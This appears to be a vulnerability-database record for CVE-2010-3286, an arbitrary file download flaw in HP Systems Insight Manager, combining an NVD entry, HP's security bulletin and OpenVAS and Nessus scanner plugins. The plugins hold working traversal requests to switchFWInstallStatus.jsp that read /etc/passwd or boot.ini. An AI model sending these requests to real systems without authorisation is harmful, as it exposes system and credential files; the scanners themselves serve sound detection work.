{"cve": [{"lastseen": "2016-09-03T14:18:02", "bulletinFamily": "NVD", "description": "Unspecified vulnerability in HP Systems Insight Manager (SIM) 6.0 and 6.1 allows remote attackers to read arbitrary files via unknown vectors.", "modified": "2010-11-11T01:50:01", "published": "2010-10-18T13:00:03", "id": "CVE-2010-3286", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-3286", "title": "CVE-2010-3286", "type": "cve", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}], "openvas": [{"lastseen": "2017-07-02T21:09:52", "bulletinFamily": "scanner", "description": "HP Systems Insight Manager is prone to a vulnerability that lets\nattackers download arbitrary files.\n\nExploiting this issue will allow an attacker to view arbitrary files\nwithin the context of the application. Information harvested may aid\nin launching further attacks.\n\nThe issue affects HP Systems Insight Manager versions 6.0 and 6.1.", "modified": "2017-02-16T00:00:00", "published": "2010-10-28T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=100873", "id": "OPENVAS:100873", "title": "HP Systems Insight Manager Arbitrary File Download Vulnerability", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_hp_sim_44098.nasl 5306 2017-02-16 09:00:16Z teissa $\n#\n# HP Systems Insight Manager Arbitrary File Download Vulnerability\n#\n# Authors:\n# Michael Meyer <michael.meyer@greenbone.net>\n#\n# Copyright:\n# Copyright (c) 2010 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_summary = \"HP Systems Insight Manager is prone to a vulnerability that lets\nattackers download arbitrary files.\n\nExploiting this issue will allow an attacker to view arbitrary files\nwithin the context of the application. Information harvested may aid\nin launching further attacks.\n\nThe issue affects HP Systems Insight Manager versions 6.0 and 6.1.\";\n\ntag_solution = \"Vendor updates are available. Please see the references for more\ninformation.\";\n\nif (description)\n{\n script_id(100873);\n script_version(\"$Revision: 5306 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-02-16 10:00:16 +0100 (Thu, 16 Feb 2017) $\");\n script_tag(name:\"creation_date\", value:\"2010-10-28 13:41:07 +0200 (Thu, 28 Oct 2010)\");\n script_bugtraq_id(44098);\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_cve_id(\"CVE-2010-3286\");\n\n script_name(\"HP Systems Insight Manager Arbitrary File Download Vulnerability\");\n\n script_xref(name : \"URL\" , value : \"https://www.securityfocus.com/bid/44098\");\n script_xref(name : \"URL\" , value : \"http://www13.itrc.hp.com/service/cki/docDisplay.do?docId=emr_na-c02548231\");\n script_xref(name : \"URL\" , value : \"http://h18000.www1.hp.com/products/servers/management/hpsim/index.html\");\n\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_category(ACT_ATTACK);\n script_family(\"Web application abuses\");\n script_copyright(\"This script is Copyright (C) 2010 Greenbone Networks GmbH\");\n script_dependencies(\"find_service.nasl\", \"http_version.nasl\");\n script_require_ports(\"Services/www\", 5000);\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n exit(0);\n}\n\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"global_settings.inc\");\n \nport = get_http_port(default:5000);\nif(!get_port_state(port))exit(0);\n\nsoc = http_open_socket(port);\nif(!soc) exit(0);\nhttp_close_socket(soc);\n\nfiles = make_array(\"root:.*:0:[01]:\",\"/etc/passwd\",\"\\[boot loader\\]\",\"..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\boot.ini\");\n\nif(http_vuln_check(port:port, url:\"/\", pattern:\"HP Systems Insight Manager\")) {\n \n foreach file (keys(files)) {\n\n soc = http_open_socket(port);\n if(!soc)exit(0);\n req = string(\"HEAD /mxportal/taskandjob/switchFWInstallStatus.jsp?logfile=\",files[file],\" HTTP/1.0\\r\\n\\r\\n\");\n send(socket:soc, data: req);\n r = http_recv(socket:soc);\n http_close_socket(soc);\n\n if(r == NULL)continue;\n if(egrep(pattern:file, string:r)) {\n\n security_message(port:port);\n exit(0);\n\n } \n }\n}\n\nexit(0);\n\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}, {"lastseen": "2018-09-02T00:05:18", "bulletinFamily": "scanner", "description": "HP Systems Insight Manager is prone to a vulnerability that lets\nattackers download arbitrary files.\n\nExploiting this issue will allow an attacker to view arbitrary files\nwithin the context of the application. Information harvested may aid\nin launching further attacks.\n\nThe issue affects HP Systems Insight Manager versions 6.0 and 6.1.", "modified": "2018-01-17T00:00:00", "published": "2010-10-28T00:00:00", "id": "OPENVAS:1361412562310100873", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310100873", "title": "HP Systems Insight Manager Arbitrary File Download Vulnerability", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_hp_sim_44098.nasl 8447 2018-01-17 16:12:19Z teissa $\n#\n# HP Systems Insight Manager Arbitrary File Download Vulnerability\n#\n# Authors:\n# Michael Meyer <michael.meyer@greenbone.net>\n#\n# Copyright:\n# Copyright (c) 2010 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_summary = \"HP Systems Insight Manager is prone to a vulnerability that lets\nattackers download arbitrary files.\n\nExploiting this issue will allow an attacker to view arbitrary files\nwithin the context of the application. Information harvested may aid\nin launching further attacks.\n\nThe issue affects HP Systems Insight Manager versions 6.0 and 6.1.\";\n\ntag_solution = \"Vendor updates are available. Please see the references for more\ninformation.\";\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.100873\");\n script_version(\"$Revision: 8447 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-01-17 17:12:19 +0100 (Wed, 17 Jan 2018) $\");\n script_tag(name:\"creation_date\", value:\"2010-10-28 13:41:07 +0200 (Thu, 28 Oct 2010)\");\n script_bugtraq_id(44098);\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_cve_id(\"CVE-2010-3286\");\n\n script_name(\"HP Systems Insight Manager Arbitrary File Download Vulnerability\");\n\n script_xref(name : \"URL\" , value : \"https://www.securityfocus.com/bid/44098\");\n script_xref(name : \"URL\" , value : \"http://www13.itrc.hp.com/service/cki/docDisplay.do?docId=emr_na-c02548231\");\n script_xref(name : \"URL\" , value : \"http://h18000.www1.hp.com/products/servers/management/hpsim/index.html\");\n\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_category(ACT_ATTACK);\n script_family(\"Web application abuses\");\n script_copyright(\"This script is Copyright (C) 2010 Greenbone Networks GmbH\");\n script_dependencies(\"find_service.nasl\", \"http_version.nasl\");\n script_require_ports(\"Services/www\", 5000);\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n exit(0);\n}\n\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"global_settings.inc\");\n \nport = get_http_port(default:5000);\nif(!get_port_state(port))exit(0);\n\nsoc = http_open_socket(port);\nif(!soc) exit(0);\nhttp_close_socket(soc);\n\nfiles = make_array(\"root:.*:0:[01]:\",\"/etc/passwd\",\"\\[boot loader\\]\",\"..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\boot.ini\");\n\nif(http_vuln_check(port:port, url:\"/\", pattern:\"HP Systems Insight Manager\")) {\n \n foreach file (keys(files)) {\n\n soc = http_open_socket(port);\n if(!soc)exit(0);\n req = string(\"HEAD /mxportal/taskandjob/switchFWInstallStatus.jsp?logfile=\",files[file],\" HTTP/1.0\\r\\n\\r\\n\");\n send(socket:soc, data: req);\n r = http_recv(socket:soc);\n http_close_socket(soc);\n\n if(r == NULL)continue;\n if(egrep(pattern:file, string:r)) {\n\n security_message(port:port);\n exit(0);\n\n } \n }\n}\n\nexit(0);\n\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}], "securityvulns": [{"lastseen": "2018-08-31T11:10:37", "bulletinFamily": "software", "description": "-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nSUPPORT COMMUNICATION - SECURITY BULLETIN\r\n\r\nDocument ID: c02548231\r\nVersion: 1\r\n\r\nHPSBMA02590 SSRT100182 rev.1 - HP Systems Insight Manager (SIM) for HP-UX, Linux,\r\nand Windows, Remote Arbitrary File Download\r\n\r\nNOTICE: The information in this Security Bulletin should be acted upon as soon as\r\npossible.\r\n\r\nRelease Date: 2010-10-13\r\nLast Updated: 2010-10-13\r\n\r\nPotential Security Impact: Remote arbitrary file download\r\n\r\nSource: Hewlett-Packard Company, HP Software Security Response Team\r\n\r\nVULNERABILITY SUMMARY\r\nA potential security vulnerability has been identified in HP Systems Insight\r\nManager (SIM) for HP-UX, Linux, and Windows. The vulnerability could be exploited\r\nremotely to download arbitrary files.\r\n\r\nReferences: CVE-2010-3286\r\n\r\nSUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.\r\nHP Systems Insight Manager (SIM) for HP-UX, Linux v6.0 prior to September 2010\r\nHotfix\r\nHP Systems Insight Manager (SIM) for HP-UX, Linux v6.1 prior to September 2010\r\nHotfix\r\nHP Systems Insight Manager (SIM) for Windows v6.0 prior to September 2010 Hotfix\r\nor prior to v6.0 Update 2\r\nHP Systems Insight Manager (SIM) for Windows v6.1 prior to September 2010 Hotfix\r\nor prior to v6.1 Update 2\r\n\r\nBACKGROUND\r\n\r\nCVSS 2.0 Base Metrics\r\n===========================================================\r\n Reference Base Vector Base Score\r\nCVE-2010-3286 (AV:N/AC:L/Au:N/C:P/I:N/A:N) 5.0\r\n===========================================================\r\n Information on CVSS is documented\r\n in HP Customer Notice: HPSN-2008-002\r\n\r\nRESOLUTION\r\n\r\nHP has provided the following hotfixes to resolve the vulnerability.\r\n\r\nHotfixes for HP-UX, Linux, and Windows\r\n\r\nHP-UX, HP SIM v6.0\r\nSeptember 2010 Hotfix\r\nhttp://h18013.www1.hp.com/products/servers/management/hpsim/dl_hpux60.html#hotfix\r\n\r\nHP-UX, HP SIM v6.1\r\nSeptember 2010 Hotfix\r\nhttp://h18013.www1.hp.com/products/servers/management/hpsim/dl_hpux.html#hotfix\r\n\r\nLinux, HP SIM v6.0\r\nSeptember 2010 Hotfix\r\nhttp://h18013.www1.hp.com/products/servers/management/hpsim/dl_linux60.html#Update\r\n\r\nLinux, HP SIM v6.1\r\nSeptember 2010 Hotfix\r\nhttp://h18013.www1.hp.com/products/servers/management/hpsim/dl_linux61.html#hotfix\r\n\r\nWindows, HP SIM v6.0\r\nSeptember 2010 Hotfix\r\nhttp://h18013.www1.hp.com/products/servers/management/hpsim/dl_windows60.html#hotfix\r\n\r\nWindows, HP SIM v6.1\r\nSeptember 2010 Hotfix\r\nhttp://h18013.www1.hp.com/products/servers/management/hpsim/dl_windows61.html#hotfix\r\n\r\nUpdate 2 for Windows on Insight Software DVD\r\n\r\nIn addition for Windows there are updates available on the following DVD images.\r\n\r\nInsight Software 6.0 update2 ISO - Oct 2010\r\nInsight Software 6.1 update2 ISO - Oct 2010\r\n\r\nThese are available for download here.\r\nhttp://h18013.www1.hp.com/products/servers/management/fpdownload.html\r\n\r\nNote: For Windows either the hotfix or the DVD update will resolve the\r\nvulnerability.\r\n\r\nMANUAL ACTIONS: Yes - NonUpdate\r\nFor HP-UX, install the appropriate hotfix\r\n\r\nPRODUCT SPECIFIC INFORMATION\r\n\r\nHP-UX Software Assistant: HP-UX Software Assistant is an enhanced application that\r\nreplaces HP-UX Security Patch Check. It analyzes all Security Bulletins issued by\r\nHP and lists recommended actions that may apply to a specific HP-UX system. It can\r\nalso download patches and create a depot automatically. For more information see:\r\nhttps://www.hp.com/go/swa\r\n\r\nThe following text is for use by the HP-UX Software Assistant.\r\n\r\nAFFECTED VERSIONS\r\n\r\nHP-UX B.11.23\r\nHP-UX B.11.31\r\n=============\r\nSysMgmtServer.MX-CMS\r\nSysMgmtServer.MX-CORE\r\nSysMgmtServer.MX-CORE-ARCH\r\nSysMgmtServer.MX-CORE-ARCH\r\nSysMgmtServer.MX-PORTAL\r\nSysMgmtServer.MX-REPO\r\nSysMgmtServer.MX-TOOLS\r\naction: install the appropriate hotfix\r\n\r\nEND AFFECTED VERSIONS\r\n\r\nHISTORY\r\nVersion: 1 (rev.1) - 13 October 2010 Initial release\r\n\r\nThird Party Security Patches: Third party security patches that are to be\r\ninstalled on systems running HP software products should be applied in accordance\r\nwith the customer's patch management policy.\r\n\r\nSupport: For further information, contact normal HP Services support channel.\r\n\r\nReport: To report a potential security vulnerability with any HP supported\r\nproduct, send Email to: security-alert@hp.com\r\nIt is strongly recommended that security related information being communicated to\r\nHP be encrypted using PGP, especially exploit information.\r\nTo get the security-alert PGP key, please send an e-mail message as follows:\r\n To: security-alert@hp.com\r\n Subject: get key\r\nSubscribe: To initiate a subscription to receive future HP Security Bulletins via\r\nEmail:\r\nhttp://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC\r\nOn the web page: ITRC security bulletins and patch sign-up\r\nUnder Step1: your ITRC security bulletins and patches\r\n -check ALL categories for which alerts are required and continue.\r\nUnder Step2: your ITRC operating systems\r\n -verify your operating system selections are checked and save.\r\n\r\nTo update an existing subscription: http://h30046.www3.hp.com/subSignIn.php\r\nLog in on the web page: Subscriber's choice for Business: sign-in.\r\nOn the web page: Subscriber's Choice: your profile summary - use Edit Profile to\r\nupdate appropriate sections.\r\n\r\nTo review previously published Security Bulletins visit:\r\nhttp://www.itrc.hp.com/service/cki/secBullArchive.do\r\n\r\n* The Software Product Category that this Security Bulletin\r\nrelates to is represented by the 5th and 6th characters\r\nof the Bulletin number in the title:\r\n\r\nGN = HP General SW\r\nMA = HP Management Agents\r\nMI = Misc. 3rd Party SW\r\nMP = HP MPE/iX\r\nNS = HP NonStop Servers\r\nOV = HP OpenVMS\r\nPI = HP Printing & Imaging\r\nST = HP Storage SW\r\nTL = HP Trusted Linux\r\nTU = HP Tru64 UNIX\r\nUX = HP-UX\r\nVV = HP VirtualVault\r\n\r\nSystem management and security procedures must be reviewed frequently to maintain\r\nsystem integrity. HP is continually reviewing and enhancing the security features\r\nof software products to provide customers with current secure solutions.\r\n\r\n"HP is broadly distributing this Security Bulletin in order to bring to the\r\nattention of users of the affected HP products the important security information\r\ncontained in this Bulletin. HP recommends that all users determine the\r\napplicability of this information to their individual situations and take\r\nappropriate action. HP does not warrant that this information is necessarily\r\naccurate or complete for all user situations and, consequently, HP will not be\r\nresponsible for any damages resulting from user's use or disregard of the\r\ninformation provided in this Bulletin. To the extent permitted by law, HP disclaims\r\nall warranties, either express or implied, including the warranties of\r\nmerchantability and fitness for a particular purpose, title and non-infringement."\r\n\r\nCopyright 2009 Hewlett-Packard Development Company, L.P.\r\nHewlett-Packard Company shall not be liable for technical or editorial errors or\r\nomissions contained herein. The information provided is provided "as is" without\r\nwarranty of any kind. To the extent permitted by law, neither HP or its affiliates,\r\nsubcontractors or suppliers will be liable for incidental,special or consequential\r\ndamages including downtime cost; lost profits;damages relating to the procurement\r\nof substitute products or services; or damages for loss of data, or software\r\nrestoration. The information in this document is subject to change without notice.\r\nHewlett-Packard Company and the names of Hewlett-Packard products referenced herein\r\nare trademarks of Hewlett-Packard Company in the United States and other countries.\r\nOther product and company names mentioned herein may be trademarks of their\r\nrespective owners.\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\n\r\niEYEARECAAYFAky1xnYACgkQ4B86/C0qfVnYzACg5AfrBYUNCCCkZn+pUg3chsjL\r\nMtEAn3lnuLoI6cLNtG66CcEiB2vvOrIm\r\n=7Rzy\r\n-----END PGP SIGNATURE-----", "modified": "2010-10-24T00:00:00", "published": "2010-10-24T00:00:00", "id": "SECURITYVULNS:DOC:24975", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:24975", "title": "[security bulletin] HPSBMA02590 SSRT100182 rev.1 - HP Systems Insight Manager (SIM) for HP-UX, Linux, and Windows, Remote Arbitrary File Download", "type": "securityvulns", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}], "nessus": [{"lastseen": "2019-01-16T20:11:16", "bulletinFamily": "scanner", "description": "HP Systems Insight Manager is affected by an arbitrary file download\nvulnerability that can be leveraged by a remote attacker to download\nfiles of their choosing. \n\nIf an attacker supplies a specially crafted HEAD request to the\n'logfile' variable in 'switchFWInstallStatus.jsp', an arbitrary file\ncan be read with SYSTEM or root privileges.", "modified": "2018-11-15T00:00:00", "published": "2010-10-26T00:00:00", "id": "HP_SYSTEMS_INSIGHT_MANAGER_ARBITRARY_FILE_DOWNLOAD.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=50349", "title": "HP Systems Insight Manager logfile Parameter Arbitrary File Download", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(50349);\n script_version(\"1.12\");\n script_cvs_date(\"Date: 2018/11/15 20:50:17\");\n\n script_cve_id(\"CVE-2010-3286\");\n script_bugtraq_id(44098);\n script_xref(name:\"TRA\", value:\"TRA-2010-03\");\n\n script_name(english:\"HP Systems Insight Manager logfile Parameter Arbitrary File Download\");\n script_summary(english:\"Tries to retrieve the contents of a file\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host contains software that is affected by an\narbitrary file download vulnerability.\");\n\n script_set_attribute(attribute:\"description\", value:\n\"HP Systems Insight Manager is affected by an arbitrary file download\nvulnerability that can be leveraged by a remote attacker to download\nfiles of their choosing. \n\nIf an attacker supplies a specially crafted HEAD request to the\n'logfile' variable in 'switchFWInstallStatus.jsp', an arbitrary file\ncan be read with SYSTEM or root privileges.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.tenable.com/security/research/tra-2010-03\");\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?ec3e7264\");\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?caf69930\");\n script_set_attribute(attribute:\"solution\", value:\"Install HP Systems Insight Manager 6.0 / 6.1 September 2010 Hotfix or later, or upgrade to 6.2.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value: \"2010/10/13\");\n script_set_attribute(attribute:\"patch_publication_date\",value:\"2010/10/13\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2010/10/26\");\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:hp:systems_insight_manager\");\n script_set_attribute(attribute:\"exploited_by_nessus\", value:\"true\");\n script_end_attributes();\n\n script_category(ACT_ATTACK);\n script_family(english:\"CGI abuses\");\n\n script_copyright(english:\"This script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"http_version.nasl\", \"os_fingerprint.nasl\");\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n script_require_ports(\"Services/www\",50000);\n\n exit(0);\n}\n\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"http.inc\");\ninclude(\"data_protection.inc\");\n\nreport=\"\";\nreport_file=\"\";\n\nos = get_kb_item(\"Host/OS\");\nif(os)\n{\n if (\"Windows\" >< os)\n {\n file = \"..\\..\\..\\..\\..\\boot.ini\";\n report_file = \"boot.ini\";\n }\n\n else \n {\n file = \"/etc/passwd\";\n report_file = \"/etc/passwd\";\n }\n\n files = make_list(file);\n\n}\nelse files = make_list(\"..\\..\\..\\..\\..\\boot.ini\", \"/etc/passwd\");\n\nfile_pats = make_array();\n\nfile_pats[\"..\\..\\..\\..\\..\\boot.ini\"] = \"\\[boot loader\\]\";\nfile_pats[\"/etc/passwd\"] = \"root:.*:0:[01]:\";\n\n\nport = get_http_port(default:50000);\n\nres = http_get_cache(item:'/', port:port, exit_on_fail: 1);\n\nif (\"HP Systems Insight Manager\" >< res)\n{\n foreach file(files)\n {\n soc = http_open_socket(port);\n if (!soc) exit(1, \"Failed to open a socket on port \"+port+\".\");\n\n req=\"HEAD /mxportal/taskandjob/switchFWInstallStatus.jsp?logfile=\"+file+'\\r\\n\\r\\n';\n\n send(socket:soc, data:req);\n res = http_recv3(socket:soc);\n\n http_close_socket(soc);\n\n if (isnull(res)) exit(1, \"Tthe web server on port \"+port+\" failed to respond.\"); \n\n file_pat = file_pats[file];\n if (!report_file)\n {\n \n if(file_pat == \"\\[boot loader\\]\") report_file = \"boot.ini\";\n if(file_pat == \"root:.*:0:[01]:\") report_file = \"/etc/passwd\";\n \n }\n\n if (res[2] && egrep(pattern:file_pat, string:res[2]))\n {\n \n if (report_file == \"boot.ini\")\n {\n begin = strstr(res[2], \"[boot loader]\");\n end = strstr(begin, \"</textarea>\");\n \n res[2] = begin - end;\n }\n if (report_file == \"/etc/passwd\")\n {\n begin = strstr(res[2], \"root:\");\n end = strstr(begin, \"</textarea>\");\n \n res[2] = begin - end;\n }\n\n if (report_verbosity > 0)\n {\n report = '\\n' +\n 'Nessus was able to exploit the issue to retrieve the contents of\\n' +\n \"'\" + report_file + \"' on the remote host using the following request :\" + '\\n' +\n '\\n' +\n crap(data:\"-\", length:30) + \" snip \" + crap(data:\"-\", length:30) + '\\n' +\n req +\n crap(data:\"-\", length:30) + \" snip \" + crap(data:\"-\", length:30) + '\\n';\n if (report_verbosity > 1)\n report += '\\n' +\n 'Here are its contents :\\n' +\n '\\n' +\n crap(data:\"-\", length:30) + \" snip \" + crap(data:\"-\", length:30) + '\\n' +\n res[2] +\n crap(data:\"-\", length:30) + \" snip \" + crap(data:\"-\", length:30) + '\\n';\n report = data_protection::redact_etc_passwd(output:report);\n security_hole(port:port, extra:report);\n }\n else security_hole(port);\n }\n else exit(0, \"HP Systems Insight Manager doesn't seem to be vulnerable.\");\n }\n}\nelse exit(0, \"HP Systems Insight Manager was not detected on port \"+port+\".\");\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}]}